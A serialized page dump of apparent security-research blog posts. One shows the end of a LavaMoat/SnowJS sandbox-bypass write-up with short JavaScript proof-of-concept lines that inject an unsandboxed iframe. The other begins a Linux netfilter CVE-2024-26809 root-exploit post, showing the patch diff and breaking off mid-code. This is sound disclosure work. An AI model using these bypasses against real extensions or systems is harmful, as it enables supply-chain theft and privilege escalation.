autofocus",{"type":20,"tag":315,"props":48314,"children":48315},{"style":30791},[48316],{"type":26,"value":48317},">\u003C/",{"type":20,"tag":315,"props":48319,"children":48320},{"style":541},[48321],{"type":26,"value":29762},{"type":20,"tag":315,"props":48323,"children":48324},{"style":30791},[48325],{"type":26,"value":4386},{"type":20,"tag":29,"props":48327,"children":48328},{},[48329,48331,48337,48339,48344],{"type":26,"value":48330},"After inserting this element to a page, it is possible to use ",{"type":20,"tag":119,"props":48332,"children":48334},{"className":48333},[],[48335],{"type":26,"value":48336},"insertHTML",{"type":26,"value":48338}," command of ",{"type":20,"tag":119,"props":48340,"children":48342},{"className":48341},[],[48343],{"type":26,"value":48260},{"type":26,"value":48345}," to add a non-sandboxed iframe.",{"type":20,"tag":305,"props":48347,"children":48349},{"className":29779,"code":48348,"language":29781,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[48350],{"type":20,"tag":119,"props":48351,"children":48352},{"__ignoreMap":7},[48353],{"type":20,"tag":315,"props":48354,"children":48355},{"class":317,"line":318},[48356,48360,48364,48369,48373,48378,48382,48386,48390,48395],{"type":20,"tag":315,"props":48357,"children":48358},{"style":635},[48359],{"type":26,"value":31121},{"type":20,"tag":315,"props":48361,"children":48362},{"style":328},[48363],{"type":26,"value":61},{"type":20,"tag":315,"props":48365,"children":48366},{"style":345},[48367],{"type":26,"value":48368},"execCommand",{"type":20,"tag":315,"props":48370,"children":48371},{"style":328},[48372],{"type":26,"value":1049},{"type":20,"tag":315,"props":48374,"children":48375},{"style":2652},[48376],{"type":26,"value":48377},"'insertHTML'",{"type":20,"tag":315,"props":48379,"children":48380},{"style":328},[48381],{"type":26,"value":44},{"type":20,"tag":315,"props":48383,"children":48384},{"style":541},[48385],{"type":26,"value":6571},{"type":20,"tag":315,"props":48387,"children":48388},{"style":328},[48389],{"type":26,"value":44},{"type":20,"tag":315,"props":48391,"children":48392},{"style":2652},[48393],{"type":26,"value":48394},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":20,"tag":315,"props":48396,"children":48397},{"style":328},[48398],{"type":26,"value":2214},{"type":20,"tag":219,"props":48400,"children":48402},{"id":48401},"impact-on-lavamoat-scuttling",[48403],{"type":26,"value":48404},"Impact On Lavamoat Scuttling",{"type":20,"tag":29,"props":48406,"children":48407},{},[48408],{"type":26,"value":48409},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":20,"tag":29,"props":48411,"children":48412},{},[48413,48415,48420,48422,48427],{"type":26,"value":48414},"For the exploit, the only used functions are in ",{"type":20,"tag":119,"props":48416,"children":48418},{"className":48417},[],[48419],{"type":26,"value":31121},{"type":26,"value":48421}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":20,"tag":119,"props":48423,"children":48425},{"className":48424},[],[48426],{"type":26,"value":35833},{"type":26,"value":48428}," object.",{"type":20,"tag":29,"props":48430,"children":48431},{},[48432,48434,48439],{"type":26,"value":48433},"Consider this example, which runs a scuttled ",{"type":20,"tag":119,"props":48435,"children":48437},{"className":48436},[],[48438],{"type":26,"value":31111},{"type":26,"value":23884},{"type":20,"tag":305,"props":48441,"children":48443},{"className":29779,"code":48442,"language":29781,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[48444],{"type":20,"tag":119,"props":48445,"children":48446},{"__ignoreMap":7},[48447,48483,48520,48563],{"type":20,"tag":315,"props":48448,"children":48449},{"class":317,"line":318},[48450,48454,48458,48462,48466,48470,48474,48479],{"type":20,"tag":315,"props":48451,"children":48452},{"style":635},[48453],{"type":26,"value":31121},{"type":20,"tag":315,"props":48455,"children":48456},{"style":328},[48457],{"type":26,"value":61},{"type":20,"tag":315,"props":48459,"children":48460},{"style":635},[48461],{"type":26,"value":30815},{"type":20,"tag":315,"props":48463,"children":48464},{"style":328},[48465],{"type":26,"value":61},{"type":20,"tag":315,"props":48467,"children":48468},{"style":635},[48469],{"type":26,"value":33387},{"type":20,"tag":315,"props":48471,"children":48472},{"style":334},[48473],{"type":26,"value":1395},{"type":20,"tag":315,"props":48475,"children":48476},{"style":2652},[48477],{"type":26,"value":48478}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":20,"tag":315,"props":48480,"children":48481},{"style":328},[48482],{"type":26,"value":1405},{"type":20,"tag":315,"props":48484,"children":48485},{"class":317,"line":356},[48486,48490,48494,48498,48502,48507,48511,48516],{"type":20,"tag":315,"props":48487,"children":48488},{"style":635},[48489],{"type":26,"value":31121},{"type":20,"tag":315,"props":48491,"children":48492},{"style":328},[48493],{"type":26,"value":61},{"type":20,"tag":315,"props":48495,"children":48496},{"style":345},[48497],{"type":26,"value":33412},{"type":20,"tag":315,"props":48499,"children":48500},{"style":328},[48501],{"type":26,"value":1049},{"type":20,"tag":315,"props":48503,"children":48504},{"style":2652},[48505],{"type":26,"value":48506},"'test'",{"type":20,"tag":315,"props":48508,"children":48509},{"style":328},[48510],{"type":26,"value":19146},{"type":20,"tag":315,"props":48512,"children":48513},{"style":345},[48514],{"type":26,"value":48515},"focus",{"type":20,"tag":315,"props":48517,"children":48518},{"style":328},[48519],{"type":26,"value":568},{"type":20,"tag":315,"props":48521,"children":48522},{"class":317,"line":365},[48523,48527,48531,48535,48539,48543,48547,48551,48555,48559],{"type":20,"tag":315,"props":48524,"children":48525},{"style":635},[48526],{"type":26,"value":31121},{"type":20,"tag":315,"props":48528,"children":48529},{"style":328},[48530],{"type":26,"value":61},{"type":20,"tag":315,"props":48532,"children":48533},{"style":345},[48534],{"type":26,"value":48368},{"type":20,"tag":315,"props":48536,"children":48537},{"style":328},[48538],{"type":26,"value":1049},{"type":20,"tag":315,"props":48540,"children":48541},{"style":2652},[48542],{"type":26,"value":48377},{"type":20,"tag":315,"props":48544,"children":48545},{"style":328},[48546],{"type":26,"value":44},{"type":20,"tag":315,"props":48548,"children":48549},{"style":541},[48550],{"type":26,"value":6571},{"type":20,"tag":315,"props":48552,"children":48553},{"style":328},[48554],{"type":26,"value":44},{"type":20,"tag":315,"props":48556,"children":48557},{"style":2652},[48558],{"type":26,"value":48394},{"type":20,"tag":315,"props":48560,"children":48561},{"style":328},[48562],{"type":26,"value":2214},{"type":20,"tag":315,"props":48564,"children":48565},{"class":317,"line":374},[48566,48570,48574,48579,48583,48587,48592,48596,48601,48606,48610,48614,48618,48622,48626,48630],{"type":20,"tag":315,"props":48567,"children":48568},{"style":635},[48569],{"type":26,"value":31121},{"type":20,"tag":315,"props":48571,"children":48572},{"style":328},[48573],{"type":26,"value":61},{"type":20,"tag":315,"props":48575,"children":48576},{"style":345},[48577],{"type":26,"value":48578},"getElementsByTagName",{"type":20,"tag":315,"props":48580,"children":48581},{"style":328},[48582],{"type":26,"value":1049},{"type":20,"tag":315,"props":48584,"children":48585},{"style":2652},[48586],{"type":26,"value":35146},{"type":20,"tag":315,"props":48588,"children":48589},{"style":328},[48590],{"type":26,"value":48591},")[",{"type":20,"tag":315,"props":48593,"children":48594},{"style":765},[48595],{"type":26,"value":1063},{"type":20,"tag":315,"props":48597,"children":48598},{"style":328},[48599],{"type":26,"value":48600},"].",{"type":20,"tag":315,"props":48602,"children":48603},{"style":635},[48604],{"type":26,"value":48605},"contentWindow",{"type":20,"tag":315,"props":48607,"children":48608},{"style":328},[48609],{"type":26,"value":61},{"type":20,"tag":315,"props":48611,"children":48612},{"style":345},[48613],{"type":26,"value":31111},{"type":20,"tag":315,"props":48615,"children":48616},{"style":328},[48617],{"type":26,"value":1049},{"type":20,"tag":315,"props":48619,"children":48620},{"style":635},[48621],{"type":26,"value":31121},{"type":20,"tag":315,"props":48623,"children":48624},{"style":328},[48625],{"type":26,"value":61},{"type":20,"tag":315,"props":48627,"children":48628},{"style":635},[48629],{"type":26,"value":31131},{"type":20,"tag":315,"props":48631,"children":48632},{"style":328},[48633],{"type":26,"value":2214},{"type":20,"tag":219,"props":48635,"children":48637},{"id":48636},"snowjs-patch",[48638],{"type":26,"value":48639},"SnowJS Patch",{"type":20,"tag":29,"props":48641,"children":48642},{},[48643,48645,48652,48654,48661],{"type":26,"value":48644},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":20,"tag":35,"props":48646,"children":48649},{"href":48647,"rel":48648},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[39],[48650],{"type":26,"value":48651},"browser feature within W3C standards",{"type":26,"value":48653},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":20,"tag":35,"props":48655,"children":48658},{"href":48656,"rel":48657},"https://github.com/weizman/Realms-Initialization-Control",[39],[48659],{"type":26,"value":48660},"Here",{"type":26,"value":48662}," is their new proposal.",{"type":20,"tag":21,"props":48664,"children":48666},{"id":48665},"chaining-the-impacts",[48667],{"type":26,"value":48668},"Chaining The Impacts",{"type":20,"tag":29,"props":48670,"children":48671},{},[48672],{"type":26,"value":48673},"We were able to find two vulnerabilities in lavamoat project:",{"type":20,"tag":68,"props":48675,"children":48676},{},[48677,48682],{"type":20,"tag":72,"props":48678,"children":48679},{},[48680],{"type":26,"value":48681},"Policy File Bypass",{"type":20,"tag":72,"props":48683,"children":48684},{},[48685],{"type":26,"value":48686},"Scuttling Bypass",{"type":20,"tag":29,"props":48688,"children":48689},{},[48690],{"type":26,"value":48691},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":20,"tag":29,"props":48693,"children":48694},{},[48695],{"type":26,"value":48696},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":20,"tag":21,"props":48698,"children":48699},{"id":1211},[48700],{"type":26,"value":1214},{"type":20,"tag":29,"props":48702,"children":48703},{},[48704],{"type":26,"value":48705},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":20,"tag":29762,"props":48707,"children":48708},{"style":29764},[48709],{"type":20,"tag":2308,"props":48710,"children":48713},{"src":48711,"alt":48712,"style":29770},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":20,"tag":16825,"props":48715,"children":48717},{"className":48716,"dataFootnotes":7},[16828],[48718,48723],{"type":20,"tag":21,"props":48719,"children":48721},{"className":48720,"id":13882},[16833],[48722],{"type":26,"value":16836},{"type":20,"tag":68,"props":48724,"children":48725},{},[48726],{"type":20,"tag":72,"props":48727,"children":48728},{"id":28781},[48729,48731,48738,48739],{"type":26,"value":48730},"Excluding SES, which was covered ",{"type":20,"tag":35,"props":48732,"children":48735},{"href":48733,"rel":48734},"https://osec.io/blog/2023-11-01-metamask-snaps",[39],[48736],{"type":26,"value":48737},"in our last article",{"type":26,"value":4852},{"type":20,"tag":35,"props":48740,"children":48742},{"href":28809,"ariaLabel":16939,"className":48741,"dataFootnoteBackref":7},[16941],[48743],{"type":26,"value":16944},{"type":20,"tag":1226,"props":48745,"children":48746},{},[48747],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":48749},[48750,48754,48760,48766,48767,48768],{"id":17360,"depth":356,"text":17363,"children":48751},[48752,48753],{"id":23,"depth":365,"text":27},{"id":45371,"depth":365,"text":45374},{"id":46127,"depth":356,"text":46130,"children":48755},[48756,48757,48758,48759],{"id":46378,"depth":365,"text":46381},{"id":46853,"depth":365,"text":46856},{"id":47510,"depth":365,"text":47513},{"id":47633,"depth":365,"text":47636},{"id":47751,"depth":356,"text":47754,"children":48761},[48762,48763,48764,48765],{"id":47879,"depth":365,"text":47882},{"id":48241,"depth":365,"text":48244},{"id":48401,"depth":365,"text":48404},{"id":48636,"depth":365,"text":48639},{"id":48665,"depth":356,"text":48668},{"id":1211,"depth":356,"text":1214},{"id":13882,"depth":356,"text":16836},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":48773,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48774,"description":48775,"author":48776,"image":48777,"date":48779,"isFeatured":15,"tags":48780,"onBlogPage":15,"body":48783,"_type":1242,"_id":59164,"_source":1244,"_file":59165,"_stem":59166,"_extension":1247},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":48778,"height":7664,"width":4116},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[48781,48782],"kernal","linux",{"type":17,"children":48784,"toc":59132},[48785,48798,48812,48817,48823,48833,48838,48844,48849,48867,48881,48890,48923,48928,48934,48953,48986,48992,49005,49215,49282,49846,49865,50090,50149,50155,50175,50215,50403,50408,50559,50615,50620,51134,51153,51422,51448,51957,52024,52030,52066,52071,52337,52370,52382,52409,52421,52426,52432,52453,52459,52480,52503,53335,53341,53381,53921,53932,53966,54033,54087,54319,54325,54369,54833,54839,54850,54880,54963,54968,54973,55009,55061,55092,55647,55653,55670,55676,55681,55687,55715,55908,55928,55944,56539,56545,56580,56603,56615,56621,56649,57246,57271,58240,58251,58264,58277,59043,59057,59063,59075,59081,59109,59114,59118,59123,59128],{"type":20,"tag":29,"props":48786,"children":48787},{},[48788,48790,48797],{"type":26,"value":48789},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":20,"tag":35,"props":48791,"children":48794},{"href":48792,"rel":48793},"https://google.github.io/security-research/kernelctf/rules.html",[39],[48795],{"type":26,"value":48796},"KernelCTF VRP",{"type":26,"value":61},{"type":20,"tag":29,"props":48799,"children":48800},{},[48801,48803,48810],{"type":26,"value":48802},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":20,"tag":35,"props":48804,"children":48807},{"href":48805,"rel":48806},"https://github.com/conlonialC",[39],[48808],{"type":26,"value":48809},"lonial con",{"type":26,"value":48811},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":20,"tag":29,"props":48813,"children":48814},{},[48815],{"type":26,"value":48816},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":20,"tag":21,"props":48818,"children":48820},{"id":48819},"the-kernel",[48821],{"type":26,"value":48822},"The kernel",{"type":20,"tag":29,"props":48824,"children":48825},{},[48826,48828],{"type":26,"value":48827},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":20,"tag":2308,"props":48829,"children":48832},{"alt":48830,"src":48831},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":20,"tag":29,"props":48834,"children":48835},{},[48836],{"type":26,"value":48837},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":20,"tag":219,"props":48839,"children":48841},{"id":48840},"kernel-exploitation",[48842],{"type":26,"value":48843},"Kernel exploitation",{"type":20,"tag":29,"props":48845,"children":48846},{},[48847],{"type":26,"value":48848},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":20,"tag":15089,"props":48850,"children":48851},{},[48852,48857,48862],{"type":20,"tag":72,"props":48853,"children":48854},{},[48855],{"type":26,"value":48856},"Trigger some memory corruption in some kernel subsystem",{"type":20,"tag":72,"props":48858,"children":48859},{},[48860],{"type":26,"value":48861},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":20,"tag":72,"props":48863,"children":48864},{},[48865],{"type":26,"value":48866},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":20,"tag":29,"props":48868,"children":48869},{},[48870,48872,48879],{"type":26,"value":48871},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":20,"tag":35,"props":48873,"children":48876},{"href":48874,"rel":48875},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[39],[48877],{"type":26,"value":48878},"blog post",{"type":26,"value":48880}," to become more familiar with the topic.",{"type":20,"tag":21,"props":48882,"children":48884},{"id":48883},"nf_tables",[48885],{"type":20,"tag":119,"props":48886,"children":48888},{"className":48887},[],[48889],{"type":26,"value":48883},{"type":20,"tag":29,"props":48891,"children":48892},{},[48893,48898,48900,48906,48907,48913,48915,48921],{"type":20,"tag":119,"props":48894,"children":48896},{"className":48895},[],[48897],{"type":26,"value":48883},{"type":26,"value":48899}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":20,"tag":35,"props":48901,"children":48904},{"href":48902,"rel":48903},"https://pwning.tech/nftables",[39],[48905],{"type":26,"value":2406},{"type":26,"value":44},{"type":20,"tag":35,"props":48908,"children":48911},{"href":48909,"rel":48910},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[39],[48912],{"type":26,"value":1504},{"type":26,"value":48914},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":20,"tag":119,"props":48916,"children":48918},{"className":48917},[],[48919],{"type":26,"value":48920},"nf_table",{"type":26,"value":48922}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":20,"tag":29,"props":48924,"children":48925},{},[48926],{"type":26,"value":48927},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":20,"tag":219,"props":48929,"children":48931},{"id":48930},"transactions",[48932],{"type":26,"value":48933},"Transactions",{"type":20,"tag":29,"props":48935,"children":48936},{},[48937,48939,48944,48946,48951],{"type":26,"value":48938},"A transaction is an interaction that updates ",{"type":20,"tag":119,"props":48940,"children":48942},{"className":48941},[],[48943],{"type":26,"value":48883},{"type":26,"value":48945}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":20,"tag":119,"props":48947,"children":48949},{"className":48948},[],[48950],{"type":26,"value":48883},{"type":26,"value":48952}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":20,"tag":15089,"props":48954,"children":48955},{},[48956,48966,48976],{"type":20,"tag":72,"props":48957,"children":48958},{},[48959,48964],{"type":20,"tag":3717,"props":48960,"children":48961},{},[48962],{"type":26,"value":48963},"Control plane",{"type":26,"value":48965},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":20,"tag":72,"props":48967,"children":48968},{},[48969,48974],{"type":20,"tag":3717,"props":48970,"children":48971},{},[48972],{"type":26,"value":48973},"Commit path",{"type":26,"value":48975},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":20,"tag":72,"props":48977,"children":48978},{},[48979,48984],{"type":20,"tag":3717,"props":48980,"children":48981},{},[48982],{"type":26,"value":48983},"Abort path",{"type":26,"value":48985},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":20,"tag":21,"props":48987,"children":48989},{"id":48988},"vulnerability-details",[48990],{"type":26,"value":48991},"Vulnerability details",{"type":20,"tag":29,"props":48993,"children":48994},{},[48995,48997,49003],{"type":26,"value":48996},"Moving on, let's check out the ",{"type":20,"tag":35,"props":48998,"children":49001},{"href":48999,"rel":49000},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[39],[49002],{"type":26,"value":2620},{"type":26,"value":49004}," that fixed the bug.",{"type":20,"tag":305,"props":49006,"children":49008},{"className":38777,"code":49007,"language":38779,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[49009],{"type":20,"tag":119,"props":49010,"children":49011},{"__ignoreMap":7},[49012,49020,49028,49036,49044,49052,49059,49067,49074,49082,49090,49098,49106,49114,49122,49130,49138,49146,49154,49162,49169,49177,49185,49193,49200,49207],{"type":20,"tag":315,"props":49013,"children":49014},{"class":317,"line":318},[49015],{"type":20,"tag":315,"props":49016,"children":49017},{"style":541},[49018],{"type":26,"value":49019},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":20,"tag":315,"props":49021,"children":49022},{"class":317,"line":356},[49023],{"type":20,"tag":315,"props":49024,"children":49025},{"style":328},[49026],{"type":26,"value":49027},"index c0ceea068936a6..df8de509024637 100644\n",{"type":20,"tag":315,"props":49029,"children":49030},{"class":317,"line":365},[49031],{"type":20,"tag":315,"props":49032,"children":49033},{"style":541},[49034],{"type":26,"value":49035},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":20,"tag":315,"props":49037,"children":49038},{"class":317,"line":374},[49039],{"type":20,"tag":315,"props":49040,"children":49041},{"style":541},[49042],{"type":26,"value":49043},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":20,"tag":315,"props":49045,"children":49046},{"class":317,"line":383},[49047],{"type":20,"tag":315,"props":49048,"children":49049},{"style":328},[49050],{"type":26,"value":49051},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":20,"tag":315,"props":49053,"children":49054},{"class":317,"line":407},[49055],{"type":20,"tag":315,"props":49056,"children":49057},{"emptyLinePlaceholder":15},[49058],{"type":26,"value":427},{"type":20,"tag":315,"props":49060,"children":49061},{"class":317,"line":421},[49062],{"type":20,"tag":315,"props":49063,"children":49064},{"style":328},[49065],{"type":26,"value":49066}," m = rcu_dereference_protected(priv->match, true);\n",{"type":20,"tag":315,"props":49068,"children":49069},{"class":317,"line":430},[49070],{"type":20,"tag":315,"props":49071,"children":49072},{"emptyLinePlaceholder":15},[49073],{"type":26,"value":427},{"type":20,"tag":315,"props":49075,"children":49076},{"class":317,"line":453},[49077],{"type":20,"tag":315,"props":49078,"children":49079},{"style":328},[49080],{"type":26,"value":49081}," if (m) {\n",{"type":20,"tag":315,"props":49083,"children":49084},{"class":317,"line":486},[49085],{"type":20,"tag":315,"props":49086,"children":49087},{"style":328},[49088],{"type":26,"value":49089}," rcu_barrier();\n",{"type":20,"tag":315,"props":49091,"children":49092},{"class":317,"line":499},[49093],{"type":20,"tag":315,"props":49094,"children":49095},{"style":328},[49096],{"type":26,"value":49097}," \n",{"type":20,"tag":315,"props":49099,"children":49100},{"class":317,"line":513},[49101],{"type":20,"tag":315,"props":49102,"children":49103},{"style":2652},[49104],{"type":26,"value":49105},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":20,"tag":315,"props":49107,"children":49108},{"class":317,"line":521},[49109],{"type":20,"tag":315,"props":49110,"children":49111},{"style":2652},[49112],{"type":26,"value":49113},"-\n",{"type":20,"tag":315,"props":49115,"children":49116},{"class":317,"line":552},[49117],{"type":20,"tag":315,"props":49118,"children":49119},{"style":328},[49120],{"type":26,"value":49121}," for_each_possible_cpu(cpu)\n",{"type":20,"tag":315,"props":49123,"children":49124},{"class":317,"line":571},[49125],{"type":20,"tag":315,"props":49126,"children":49127},{"style":328},[49128],{"type":26,"value":49129}," pipapo_free_scratch(m, cpu);\n",{"type":20,"tag":315,"props":49131,"children":49132},{"class":317,"line":2031},[49133],{"type":20,"tag":315,"props":49134,"children":49135},{"style":328},[49136],{"type":26,"value":49137}," free_percpu(m->scratch);\n",{"type":20,"tag":315,"props":49139,"children":49140},{"class":317,"line":2053},[49141],{"type":20,"tag":315,"props":49142,"children":49143},{"style":328},[49144],{"type":26,"value":49145},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":20,"tag":315,"props":49147,"children":49148},{"class":317,"line":2061},[49149],{"type":20,"tag":315,"props":49150,"children":49151},{"style":328},[49152],{"type":26,"value":49153}," if (priv->clone) {\n",{"type":20,"tag":315,"props":49155,"children":49156},{"class":317,"line":2070},[49157],{"type":20,"tag":315,"props":49158,"children":49159},{"style":328},[49160],{"type":26,"value":49161}," m = priv->clone;\n",{"type":20,"tag":315,"props":49163,"children":49164},{"class":317,"line":2139},[49165],{"type":20,"tag":315,"props":49166,"children":49167},{"style":328},[49168],{"type":26,"value":49097},{"type":20,"tag":315,"props":49170,"children":49171},{"class":317,"line":2147},[49172],{"type":20,"tag":315,"props":49173,"children":49174},{"style":2652},[49175],{"type":26,"value":49176},"- if (priv->dirty)\n",{"type":20,"tag":315,"props":49178,"children":49179},{"class":317,"line":2177},[49180],{"type":20,"tag":315,"props":49181,"children":49182},{"style":2652},[49183],{"type":26,"value":49184},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":20,"tag":315,"props":49186,"children":49187},{"class":317,"line":2185},[49188],{"type":20,"tag":315,"props":49189,"children":49190},{"style":765},[49191],{"type":26,"value":49192},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":20,"tag":315,"props":49194,"children":49195},{"class":317,"line":2217},[49196],{"type":20,"tag":315,"props":49197,"children":49198},{"style":328},[49199],{"type":26,"value":49097},{"type":20,"tag":315,"props":49201,"children":49202},{"class":317,"line":2225},[49203],{"type":20,"tag":315,"props":49204,"children":49205},{"style":328},[49206],{"type":26,"value":49121},{"type":20,"tag":315,"props":49208,"children":49209},{"class":317,"line":2285},[49210],{"type":20,"tag":315,"props":49211,"children":49212},{"style":328},[49213],{"type":26,"value":49214}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":20,"tag":29,"props":49216,"children":49217},{},[49218,49220,49226,49227,49233,49235,49241,49243,49249,49251,49256,49258,49264,49266,49272,49274,49280],{"type":26,"value":49219},"If the ",{"type":20,"tag":119,"props":49221,"children":49223},{"className":49222},[],[49224],{"type":26,"value":49225},"priv->dirty",{"type":26,"value":9392},{"type":20,"tag":119,"props":49228,"children":49230},{"className":49229},[],[49231],{"type":26,"value":49232},"priv->clone",{"type":26,"value":49234}," variables are set, ",{"type":20,"tag":119,"props":49236,"children":49238},{"className":49237},[],[49239],{"type":26,"value":49240},"nft_set_pipapo_match_destroy()",{"type":26,"value":49242}," is called twice, once with ",{"type":20,"tag":119,"props":49244,"children":49246},{"className":49245},[],[49247],{"type":26,"value":49248},"priv->match",{"type":26,"value":49250}," as an argument, and then again with ",{"type":20,"tag":119,"props":49252,"children":49254},{"className":49253},[],[49255],{"type":26,"value":49232},{"type":26,"value":49257},". Looking at what this function does, we can see that it is iterating over the ",{"type":20,"tag":119,"props":49259,"children":49261},{"className":49260},[],[49262],{"type":26,"value":49263},"setelem",{"type":26,"value":49265},"s of the ",{"type":20,"tag":119,"props":49267,"children":49269},{"className":49268},[],[49270],{"type":26,"value":49271},"set",{"type":26,"value":49273}," and calling ",{"type":20,"tag":119,"props":49275,"children":49277},{"className":49276},[],[49278],{"type":26,"value":49279},"nf_tables_set_elem_destroy()",{"type":26,"value":49281}," for each of them.",{"type":20,"tag":305,"props":49283,"children":49285},{"className":14916,"code":49284,"language":1528,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n 